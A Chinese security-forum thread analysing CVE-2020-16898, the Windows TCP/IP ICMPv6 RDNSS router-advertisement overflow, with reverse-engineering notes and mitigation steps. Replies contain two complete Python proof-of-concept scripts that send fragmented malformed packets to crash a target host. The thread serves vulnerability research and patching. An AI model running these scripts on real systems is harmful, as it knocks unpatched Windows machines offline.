首页
社区
课程
招聘
CVE-2020-16898: "Bad Neighbor " Windows TCP/IP远程代码执行漏洞
发表于: 2020-10-16 17:13 10683

CVE-2020-16898: "Bad Neighbor " Windows TCP/IP远程代码执行漏洞

2020-10-16 17:13
10683

TCP/IP是Internet上使用的通信协议。 在Windows的早期版本中,TCP/IP是一个单独的可选组件,可以像其他任何协议一样删除或添加。从Windows XP/Server 2003开始,TCP/IP成为操作系统的核心组件,无法删除。 将TCP/IP作为Windows的核心组件是非常有意义的,因为它的功能在Microsoft Windows Server上对网络操作和Active Directory域环境尤为重要。 整个Active Directory架构基于DNS层次结构,依赖于TCP/IP 传输协议 。

Microsoft Windows中的TCP/IP功能在内核级别运行,并由驱动程序tcpip.sys提供。该驱动程序处理所有传入和传出的TCP/IP通信信息,包括解析从网络接口接收到的数据包,以及解释此数据并将其传递给更高级别的组件。

该漏洞主要是由于Windows TCP/IP堆栈在处理选项类型为25(0x19,递归DNS服务器选项)且长度字段值为偶数的ICMPv6的路由广播数据包时,处理逻辑存在纰漏,导致存在远程代码执行漏洞。成功利用该漏洞的攻击者可以在目标机器(主机或服务器)上执行任意代码。

• Microsoft Windows 10 1709
• Microsoft Windows 10 1803
• Microsoft Windows 10 1809
• Microsoft Windows 10 1903
• Microsoft Windows 10 1909
• Microsoft Windows 10 2004
• Microsoft Windows Server 2019
• Microsoft Windows Server, version 1903
• Microsoft Windows Server, version 1909
• Microsoft Windows Server, version 2004

微软官方针对该漏洞已发布安全更新补丁,补丁地址:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

靶机:Windows 10 1809 x64

靶机操作:无需任何操作,可正常与攻击机通信即可

通过各种手段获取目标主机的IPv6地址和MAC地址(具体方法可自行探索,较为简单)

攻击机python3运行poc:

靶机crash:

(限于篇幅问题,此处不对用于DNS配置的IPv6路由广播进行详细介绍,更详细资料可参考RFC8106)

IPv6 Router Advertisment (RA) options,也称为DNS RA options,允许IPv6的路由器向IPv6的主机广播DNS Recursive Server Address(DNS递归路由器地址)列表和DNS Search List(DNS搜索列表),其主要用途为在IPv6的主机上进行DNS名称解析以及域后缀的处理。

IPv6 Neighbor Discovery(ND,IPv6邻居发现)和IPv6 Stateless Address Autoconfiguratioin(SLAAC,IPv6无状态地址自动配置)提供了使用一个或多个IPv6地址,默认路由器以及一些其他参数配置固定节点或移动节点的方法。

当漫游主机每次连接到另一个网络时,无法进行手动配置。 虽然可以进行静态配置,但是在诸如笔记本电脑之类的通用主机上通常不建议这样操作。 例如,如果主机运行直接连接到全局DNS的自己的递归名称服务器,那么本地定义的名称空间对主机来说就不可用了。
访问DNS是几乎所有主机的基本要求,因此IPv6 SLAAC在没有任何DNS配置支持的情况下,不能在任何实际的网络环境中单独作为替代部署模型。

对于IPv4环境中的DNS服务器来说,这些问题都很容易解决。但是对于IPv6的网络环境,这些问题显得比较棘手。因此,RFC8106定义了一种基于DNS RA选项的机制,以允许IPv6主机执行自动DNS配置。

在通过IPv6 SLAAC自动配置IPv6主机地址并且没有DHCPv6基础结构或一些主机没有DHCPv6客户端的网络环境中,可以使用基于RA的DNS配置作为替代。 但是,对于需要分发其他信息的网络,可能仍然会使用DHCPv6。 在这些网络中,可能不需要基于RA的DNS配置。 基于RA的DNS配置允许IPv6主机获取主机连接到的链接的DNS配置(即DNS递归服务器地址和DNSSL)。 此外,主机会从提供链接配置信息的同一RA消息中学习此DNS配置。

RFC8106标准化了RDNSS option,其中包含RDNSSes的地址。该信息使用现有ND message(例如RA)作为载体。IPv6主机可以通过RA消息配置一个或多个RDNSS的IPv6地址。

RFC8106中定义的在邻居发现中使用的IPv6 DNS配置算法需要用到2种ND options:RDNSS optionDNSSL option。与该漏洞相关的是RDNSS option,另外一种则与 CVE-2020-16899相关。

RDNSS option总体结构如下:

对于Length字段,如果该选项中仅包含一个IPv6地址,则最小值为3。 每增加一个RDNSS地址,长度就会增加2。接收的主机使用该字段来确定选项中IPv6地址的数量。

当主机接收到RA消息中的DNS的options时,其处理过程如下:

首先分析dmp文件,查看crash现场:



并没有发现明显的较为有价值的Call Stack信息,但是发现最终的crash原因的是GS机制的Security Cookie校验失败,也就是说该值被覆盖掉了。那么很有可能是一个溢出。除此之外,只发现了tcpip!Ipv6pHandleRouterAdvertisement+0x1269函数,再往后就直接报gsfailure了。

分析使用的文件为Windows 10 1809 x64的tcpip.sys文件,版本为10.0.17763.316

根据crash现场信息,获取到关键函数tcpip!Ipv6pHandleRouterAdvertisement(),首先确认该函数到漏洞函数的前后调用链。

首先查看其交叉引用关系:

其上层调用函数为Icmpv6ReceiveDatagrams(),跟进,并查看交叉引用关系:

没有再发现显式的函数调用。转而向tcpip!Ipv6pHandleRouterAdvertisement()的下层搜索:

发现漏洞函数调用。至此,函数调用链可以简单概括为:

Icmpv6ReceiveDatagrams() -> tcpip!Ipv6pHandleRouterAdvertisement() -> Ipv6pUpdateRDNSS()

经过简单分析可以明确,调用链的顶层函数Icmpv6ReceiveDatagrams()没有发现实质性的与该漏洞相关的处理代码,而在tcpip!Ipv6pHandleRouterAdvertisement() 函数中发现了对漏洞函数Ipv6pUpdateRDNSS()的调用。根据crash分析,最后报了gsfailure,而且关键函数为tcpip!Ipv6pHandleRouterAdvertisement(),在该函数的起始位置确实发现了GS校验:

那么很有可能是发生了溢出,导致函数tcpip!Ipv6pHandleRouterAdvertisement()的GS校验失败。

进入漏洞函数Ipv6pUpdateRDNSS()

NdisGetDataBuffer()函数声明如下:

如果NetBuffer参数指向的NET_BUFFER结构中的NET_BUFFER_DATA部分的DataLength字段的值小于BytesNeeded参数的值,那么函数返回NULL。NET_BUFFER的结构如下:

首先获取到RDNSS option结构,然后读取Length字段来计算Address字段有几个Address值。

确认有多少Address之后,进入循环,对每个Address进行处理。这里还有一个判断,如果不是单播地址,直接忽略:

在上面的处理过程中,存在一个问题:假设Length的长度为4,那么计算结束之后,AddressCount的值应该为1。此时,按照正常逻辑,Ipv6pUpdateRDNSS()函数应该增加32字节(4*8)的缓冲区,但是后续在分配缓冲区时只分配了24字节:sizeof(ND_OPTION_RDNSS) + sizeof(IN6_ADDR) = 8 + 16 = 24,从而导致了溢出。

根据RFC8106的标准,Length字段的值应该满足最小为3的奇数的情况。当提供一个偶数Length值时,Windows TCP/IP堆栈错误地将buffer前进了8个字节。这主要是因为堆栈在内部以16字节为增量进行计数,并且没有使用非RFC兼容长度值的处理代码。这种不匹配导致堆栈将当前选项的最后8个字节解释为第二个选项的开始,最终导致缓冲区溢出和潜在的RCE。

首先在pv6pHandleRouterAdvertisement()函数中第一次调用NdisGetDataBuffer()函数 从 _NET_BUFFER结构中访问数据(连续或不连续),使用 _NET_BUFFER 结构中的CurrentMdlOffset 字段定位要访问数据起始地址相对于 MDL 指向内存数据的偏移 :

第2次调用NdisGetDataBuffer()函数获取RDNSS Option

来到Ipv6pUpdateRDNSS()函数调用处,此时rdx中存放的是_NET_BUFFER:

首先使用NdisGetDataBuffer()函数读取到Option结构:

然后调用NetioAdvanceNetBuffer()函数,执行完成后_NET_BUFFER的部分数据如下:

继续向下,开始计算AddressCount,使用的公式为(Length - 1) / 2


最终的计算结果为1。

接下来判断LifeTime字段是否设置为最大值0xffffffff

继续向下,因为AddressCount = 1,所以来到再一次调用NdisGetDataBuffer处:

此时的参数情况如下:

之前是读取了8字节数据,而这次是读取了16字节,此时返回的是存放第1个Recursive DNS Server值的地址:

然后对地址进行判断0xffffe40b85d8afb8中的内容是否为单播地址:

继续向下,来到Ipv6pCreateRDNSSEntry()函数调用处,其各参数情况如下:

先后调用ExAllocatePoolWithTag()memset()进行内存分配并初始化:

再经过部分处理,最后的结果如下:

后续在进行security cookie的校验时,校验通过,函数返回:

回到Ipv6pHandleRouterAdvertisement()函数,再次进行数据读取时,偏移变为0x28,指向第2个Recursive DNS Server

此次的处理流程按照Type为0x18进行处理。Type为0x18时的处理逻辑如下:

直接调用NdisGetDataBuffer()函数,因为数据不连续并且指定了Storage参数(r8)为栈上的地址,所以会向栈上copy大量数据,从而破坏正常栈数据:

上图中的循环调用memcpy()函数向栈上copy数据,造成栈破坏,最终栈上结果如下:


最终 Ipv6pHandleRouterAdvertisement() 函数返回时,cookie 检查不通过,造成crash。

基本条件

触发过程

attacker直接发送特制的ICMPv6路由广播数据包给target:

建立连接后,利用IPv6直接发送攻击数据包即可。

因为该漏洞直接走的IPv6,所以对于一些部署在IP层以上的防火墙方案就无法针对该漏洞进行流量检测,但是具备IP层流量检测的防火墙可以轻松检测恶意流量:

在流量中可以明显看出,第一个Option结构的Address字段错误识别计算了一个Recursive DNS Server的值:

第1个Recursive DNS Server的地址为0018-0027,后续的8个字节不应该再进行识别。选中第2个Recursive DNS Server时情况如下:

第2个Recursive DNS Server的地址为0028-0037。但是该16个字节中的后8个字节很明显为下一个ICMPv6 Option结构的内容:

管理员启动powershell或cmd,输入以下命令检查所有网络IPv6接口的列表以及相应的索引号:

样例输出如下:

确认网络接口的RDNSS功能开启情况:

执行以下命令关闭RDNSS功能(将Idx number替换为要关闭的网络接口的Idx值):

样例输出如下:

此时再次确认接口的RDNSS开启情况,RDNSS功能已被关闭:

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
PVOID NdisGetDataBuffer(
  PNET_BUFFER NetBuffer,    // [in], a pointer to a NetBuffer structure
  ULONG       BytesNeeded,    // [in], the number of contiguous bytes of data requested
  PVOID       Storage,        // [in, optional], a pointer to a buffer, or NULL if no buffer is provided by the caller
  UINT        AlignMultiple, // [in], the alignment multiple expressed in power of two. For example, 2, 4, 8, 16, and so forth. If AlignMultiple is 1, then there is no alignment requirement.
  UINT        AlignOffset     // [in], the offset, in bytes, from the alignment multiple.
);
 
// Return Value
A pointer to the start of the contiguous data or NULL.
PVOID NdisGetDataBuffer(
  PNET_BUFFER NetBuffer,    // [in], a pointer to a NetBuffer structure
  ULONG       BytesNeeded,    // [in], the number of contiguous bytes of data requested
  PVOID       Storage,        // [in, optional], a pointer to a buffer, or NULL if no buffer is provided by the caller
  UINT        AlignMultiple, // [in], the alignment multiple expressed in power of two. For example, 2, 4, 8, 16, and so forth. If AlignMultiple is 1, then there is no alignment requirement.
  UINT        AlignOffset     // [in], the offset, in bytes, from the alignment multiple.
);
 
// Return Value
A pointer to the start of the contiguous data or NULL.
typedef struct _NET_BUFFER {
  union {
    struct {
      PNET_BUFFER Next;
      PMDL        CurrentMdl;
      ULONG       CurrentMdlOffset;
      union {
        ULONG  DataLength;
        SIZE_T stDataLength;
      };
      PMDL        MdlChain;
      ULONG       DataOffset;
    };
    SLIST_HEADER      Link;
    NET_BUFFER_HEADER NetBufferHeader;
  };
  USHORT                ChecksumBias;
  USHORT                Reserved;
  NDIS_HANDLE           NdisPoolHandle;
  PVOID                 NdisReserved[2];
  PVOID                 ProtocolReserved[6];
  PVOID                 MiniportReserved[4];
  NDIS_PHYSICAL_ADDRESS DataPhysicalAddress;
  union {
    PNET_BUFFER_SHARED_MEMORY SharedMemoryInfo;
    PSCATTER_GATHER_LIST      ScatterGatherList;
  };
} NET_BUFFER, *PNET_BUFFER;
typedef struct _NET_BUFFER {
  union {
    struct {
      PNET_BUFFER Next;
      PMDL        CurrentMdl;
      ULONG       CurrentMdlOffset;
      union {
        ULONG  DataLength;
        SIZE_T stDataLength;
      };
      PMDL        MdlChain;
      ULONG       DataOffset;
    };
    SLIST_HEADER      Link;
    NET_BUFFER_HEADER NetBufferHeader;
  };
  USHORT                ChecksumBias;
  USHORT                Reserved;

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-10-20 20:33 被有毒编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (28)
雪    币: 94
活跃值: (544)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
深信服的人啊
2020-10-16 17:36
0
雪    币: 15198
活跃值: (16862)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
3
GJHSQGD 深信服的人啊
都是搞技术的,菜鸟一枚
2020-10-16 17:39
0
雪    币: 7
活跃值: (4331)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
4
已设置精华。另外师傅这个格式太整齐了,思路也清晰,学习了
2020-10-18 19:49
0
雪    币: 14533
活跃值: (17568)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
5
mark,感谢分享
2020-10-18 20:44
0
雪    币: 3523
活跃值: (837)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
6
官网发的比自己在外面发的精简,你们老板知道吗
2020-10-19 16:51
0
雪    币: 15198
活跃值: (16862)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
7
笔墨 官网发的比自己在外面发的精简,你们老板知道吗[em_86]
有些东西比较敏感,不敢官发,老板有授权
2020-10-19 17:41
0
雪    币: 16506
活跃值: (6397)
能力值: ( LV13,RANK:923 )
在线值:
发帖
回帖
粉丝
8
#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
#

from scapy.all import *

if len(sys.argv)<3:
	print("USAGE:pthon exp.py [src ipv6] [target ipv6]\n example:python exp.py 2405:a900:ffee:257:5cb:3598:96a7:38e0 fe80::89:2963:b42f:4ae2%13")
	sys.exit(0)

v6_dst = sys.argv[2]
v6_src = sys.argv[1]

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA();

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(src=v6_src, dst=v6_dst, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)

搜到一个

2020-10-19 17:56
0
雪    币: 16506
活跃值: (6397)
能力值: ( LV13,RANK:923 )
在线值:
发帖
回帖
粉丝
9
有GS,感觉不能RCE
2020-10-19 17:58
0
雪    币: 15198
活跃值: (16862)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
10
大帅锅 有GS,感觉不能RCE
是的,所以目前就是想各种办法去看看能不能绕一下。后续就指望大师傅们了,我exp这块不熟
2020-10-20 09:09
0
雪    币: 437
活跃值: (524)
能力值: ( LV3,RANK:27 )
在线值:
发帖
回帖
粉丝
11
“Ipv6pUpdateRDNSS()中发生了溢出” 感觉并非如此:YY
从协议里:“If it is desirable
   to have different Lifetime values, multiple RDNSS options can be
   used.” 可以看到、RA消息里option是可以不唯一的、我觉着是这里的问题。
作者在分析时、也说了,"回到Ipv6pHandleRouterAdvertisement()函数,再次进行数据读取时,这次读取的数据为第2个Recursive DNS Server:" 这已经不在Ipv6pUpdateRDNSS里了、怎么会是这里的问题呢,而且、关于长度的说明,lengh为4时、本来就应该是24字节、这个是对的。并非这里导致的问题。
至于第二次为啥没劲、看构造里的数据、所谓的第二个Server、其应该是第二个option、如此一来、其Type是0x18、非0x19,所以不进。

说明:上面是通过作者的分析记录和协议手册,以及大致的静态分析YY的、并未调试。可能不慎准确。但我觉着应该是这么回事。
2020-10-20 15:45
0
雪    币: 16506
活跃值: (6397)
能力值: ( LV13,RANK:923 )
在线值:
发帖
回帖
粉丝
12
#-*- coding=utf-8 -*-
#python 2.7
#pip install getmac
import socket
import sys
import struct
from getmac import get_mac_address

if len(sys.argv)<3:
	print "USAGE:pthon exp.py [src ipv6] [target ipv6]\n example:python exp.py 2405:a900:ffee:257:5cb:3598:96a7:38e0 fe80::89:2963:b42f:4ae2%13"
	sys.exit(0)

INTETFACE="ens33"#You should modify it
'''
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.44.225  netmask 255.255.255.0  broadcast 192.168.44.255
        inet6 fe80::20c:29ff:fe72:4ead  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:72:4e:ad  txqueuelen 1000  (Ethernet)
        RX packets 191298  bytes 200793309 (200.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 50011  bytes 5180442 (5.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 15347  bytes 4893648 (4.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 15347  bytes 4893648 (4.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
'''


sock = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
sock.bind((INTETFACE,socket.htons(0x0800)))

src_ipv6 = socket.inet_pton(socket.AF_INET6, sys.argv[1])
dst_ipv6 = socket.inet_pton(socket.AF_INET6, sys.argv[2])

src_mac = get_mac_address(interface=INTETFACE).replace(':','').decode('hex')#b'\x00\x0c\x29\x8b\xc0\x99'
dst_mac = get_mac_address(ip6=sys.argv[2]).replace(':','').decode('hex')#b'\x00\x0c\x29\x72\x4e\xad'
 




# router advertisement
def p16(a):
	return struct.pack('>H',a)

def create_data():
	data1=[
0x86, 0x00, 0x2c, 0x31, 0x00, 0x08, 0x07, 0x08, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x19, #type
0x08 #length bytes=1*8
]+[
0x00,0x00,0xff,0xff,0xff,0xff
]+[
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41#dan bo
]*5+[
0x18,0x30,0xff,0x18,0x18,0xa0,0x18,0xa0
]+[
0x18,0xa0,0x18,0xa0,0x18,0xa0,0x18,0xa0
]

	data2=[0x19,0x15,0x00,0x00,0xFF,0xFF,0xFF,0xFF]+[0xaa]*8+[0xff,0xff,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa]+[0xaa]*8*18
	data3=[0x1a,0x01,0x00,0x00,0x00,0x00,0x00,0x00]+data2
	data=data1+data3*5+data2*6
	return data
def p_ipv6_header(d_mac,s_mac,s_ipv6,d_ipv6,data):

	eth_type = b'\x86\xdd'
	version = 6
	traffic_class = 0
	flowlabel_1 = 0  # first 4 bit of flowlabel
	flowlabel_2 = 0  # last 16 bit of flowlabel
	total_len = len(data)+8
	print (total_len)
	next_header = 44
	hop_limit = 0xFF
	version_traffic_flow = (version << 12) + (traffic_class << 4) + flowlabel_1
	src_ipv6 = socket.inet_pton(socket.AF_INET6, sys.argv[1])
	dst_ipv6 = socket.inet_pton(socket.AF_INET6, sys.argv[2])
	
	ipv6_header = struct.pack('!6s6s2sHHHBB16s16s', dst_mac,src_mac, eth_type, 
							version_traffic_flow, flowlabel_2,
							total_len, next_header, hop_limit, src_ipv6, dst_ipv6)
	return ipv6_header
per_data_len=152

data=create_data()
data=''.join(map(chr,data))

y_sum_of_slice_data=0
sum_of_slice_data=len(data) / per_data_len
y_sum_of_slice_data=len(data) % per_data_len

slice_data=[]

for i in range(sum_of_slice_data):
	slice_data.append(data[i*per_data_len:(i+1)*per_data_len])

print "i=",i
if y_sum_of_slice_data!=0:
	slice_data.append(data[(i+1)*per_data_len:])
for i in range(len(slice_data)):
	print slice_data[i].encode('hex')
offset=0
has_next_one=1
for i in range(len(slice_data)):
	ipv6_header=p_ipv6_header(dst_mac,src_mac,dst_ipv6,src_ipv6,slice_data[i])
	if i==len(slice_data)-1:
		has_next_one=0
	reserved_oct=offset+has_next_one
	fragment_header='\x3a\x00'+p16(reserved_oct)+'\xee\x01\xcd\x20'#0x3a->Next header,0x00->reservered octed,
	sent = sock.send(ipv6_header+fragment_header+slice_data[i])
	#sock.close()
	print "send: " + repr(sent)
	offset+=per_data_len
sock.close()

贴一个代码方便以后看,照着模子,自己写了个从底层建立的ipv6分包的蓝屏exp

最后于 2020-10-20 16:21 被大帅锅编辑 ,原因:
2020-10-20 16:19
0
雪    币: 15198
活跃值: (16862)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
13
GhostValley “Ipv6pUpdateRDNSS()中发生了溢出” 感觉并非如此:YY 从协议里:“If it is desirable to have different Lifetime values ...
我再调一下看看,确认下师傅说的问题
2020-10-20 16:30
0
雪    币: 15198
活跃值: (16862)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
14
GhostValley “Ipv6pUpdateRDNSS()中发生了溢出” 感觉并非如此:YY 从协议里:“If it is desirable to have different Lifetime values ...
师傅确实说的对,不是在Ipv6pUpdateRDNSS()中发生的溢出,
```
 case 0x18u:
        if ( v29 > 0x18u
          || (v177 = *(_BYTE *)(NdisGetDataBuffer(v9, v30, &v290, 1i64, 0) + 2), v177 > 0x80u)
          || v177 > 0x40u && v29 < 0x18u
          || v177 && v29 < 0x10u )
```
在Ipv6pHandleRouterAdvertisement()函数中调用了NdisGetDataBuffer,溢出发生在这里
2020-10-20 16:51
0
雪    币: 16506
活跃值: (6397)
能力值: ( LV13,RANK:923 )
在线值:
发帖
回帖
粉丝
15
有毒 我再调一下看看,确认下师傅说的问题
对的,我感觉漏洞点也应该是Ipv6pHandleRouterAdvertisement这里面,毕竟是这里面的canary出错了
2020-10-20 16:51
0
雪    币: 15198
活跃值: (16862)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
16
大帅锅 对的,我感觉漏洞点也应该是Ipv6pHandleRouterAdvertisement这里面,毕竟是这里面的canary出错了
嗯嗯  我会再修改下我的表述,感觉个人没表达清楚。然后把溢出位置和内容贴图上来,可能就会好一点了
2020-10-20 16:59
0
雪    币: 437
活跃值: (524)
能力值: ( LV3,RANK:27 )
在线值:
发帖
回帖
粉丝
17
有毒 嗯嗯  我会再修改下我的表述,感觉个人没表达清楚。然后把溢出位置和内容贴图上来,可能就会好一点了[em_84]

嗯、兄弟牛逼、另外、因为没有深入、有一点疑惑如下:
如果按照我的说法是当作了多个options处理的,
但现在是在处理RA消息,如果看到是0x18、type不对时、为什么还要往下走呢。


YY:

RA包含多个option、0x19是递归DNS、也包含其他的option、函数是RA、不是专门处理递归这个的、对头对头。

我傻逼了


若是如此、感觉还有些不对劲。擦了

(是不是因为并非是RDNSS DNSSL、而是因为其他的触发的,感觉不对劲也许是这个缘故)

最后于 2020-10-20 18:44 被GhostValley编辑 ,原因:
2020-10-20 17:18
0
雪    币: 15198
活跃值: (16862)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
18
GhostValley 有毒 嗯嗯 &nbsp;我会再修改下我的表述,感觉个人没表达清楚。然后把溢出位置和内容贴图上来,可能就会好一点了[em_84] 嗯、兄弟牛逼、另外、因为 ...
这次应该好了,本来没想发这么细的
2020-10-20 20:34
0
雪    币: 15198
活跃值: (16862)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
19
大帅锅 对的,我感觉漏洞点也应该是Ipv6pHandleRouterAdvertisement这里面,毕竟是这里面的canary出错了
已更新,其实给我的感觉更像一个开发时逻辑考虑不周全,才导致的漏洞
2020-10-20 20:35
0
雪    币: 538
活跃值: (157)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
我的文章写的很清楚了 第一个Switch循环是判断Packet格式是否正确的 后续 (Length -1) /2  = 3 / 2 = 1 在Ipv6pUpdateRDNSS()函数中只进行了一次循环 
第一个判断 Packet的 循环 认为Options应该是 4*8 = 0x20偏移 但是Ipv6pUpdateRDNSS() 认为下一个Options在0x18处 执行结束后 从0x18处 读取 Options 这里是没有经过Packet安全校验的 可以任意调用模块功能 并且如果Packet是分包 内容不在一个包里 读取到其他内容 也会把数据复制到 参数3里 才导致的这个问题 本质是 Ipv6pUpdateRDNSS 计算错误了

我的文章在 安恒信息安全研究院公众号里 

https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247484799&idx=1&sn=80d151280f87365a915823b7a854f04e&chksm=f9ee69c0ce99e0d6dc3f881e984b946eddd90d38285e49c3acfa8700ff79b0475429ec467320&scene=126&sessionid=1603331504&key=4598b5ee8f6c4950ea1ce4ab0b97e4c1b7fcc2f367145baa17bbc1e59be1dcf25c3355341e535fb604107e39211c3612e5163acf25a202e318f5970cebf017872110699c005201aace2b261a8b417dbafe3c7e86b6e47f4b43d6a50721a74dce79fb3147620c31a2d5a3e79a7d8b1af40ad5a76196358ee57d18b2e8d757da62&ascene=1&uin=MTE1NDEwMjc3NA%3D%3D&devicetype=Windows+10+x64&version=6300002f&lang=en&exportkey=A1krPZh5l8G4vccIfBal4RY%3D&pass_ticket=4ftPkvXGxcBbtIh0BYs5uRX4F6MEJSzONb3YWYxBgrApYtYQXAywM%2Ff5Ic5xkMIo&wx_header=0
2020-10-22 09:51
0
雪    币: 437
活跃值: (524)
能力值: ( LV3,RANK:27 )
在线值:
发帖
回帖
粉丝
21
KasdnsQ!1 我的文章写的很清楚了 第一个Switch循环是判断Packet格式是否正确的 后续 (Length -1) /2 = 3 / 2 = 1 在Ipv6pUpdateRDNSS()函数中只进行了一次循环 ...
1、rfc8106里"The length of the option (including the Type and Length fields) is in units of 8 octets."可以看到length包括了这个options结构的所有字节、而且8B为一个单位、所以减去1是为了减去Type/Length/Reserved/Lifetime这些占用的空间、同时 ipv6合法地址128bit、也就是一个地址占用2个单位,减去1除以2,的确是合理的计算方式。

2、Length会影响哪些别的位置吗,理论上看每个option里都有自己的长度字段。照理说、不应该会直接用、不知设置为3、其余报文不变时、是否会触发漏洞,请您指教。如果不会、则说明对Length还有另一处引用、这一处才是触发漏洞的关键。[YY]
2020-10-22 12:27
0
雪    币: 538
活跃值: (157)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
设置为 3 其他不变 不会触发漏洞 因为  Ipv6pUpdateRDNSS()  函数内 计算正常 3 -1 /2 = 1 偏移正确增加

设置为4        (4 -1) /2 = 3/2= 1
2020-10-22 12:47
0
雪    币: 538
活跃值: (157)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
Ipv6pUpdateRDNSS 会增加  NdisGetDataBuffer 参数一的 PNET_BUFFER 结构的 偏移指针 读取的位置是错误的 如果正常读取偏移应该是 0x08 + 3*8 但是他增加的值是 0x08 + 0x10
2020-10-22 12:49
0
雪    币: 538
活跃值: (157)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
所以从Ipv6pUpdateRDNSS 返回之后 再次switch循环 读取了错误的Options
2020-10-22 12:50
0
雪    币: 538
活跃值: (157)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
你如果自己逆向过这个函数 调试过 就会发现这个问题了 希望师傅自己实际调试一下
2020-10-22 12:50
0
游客
登录 | 注册 方可回帖
返回
//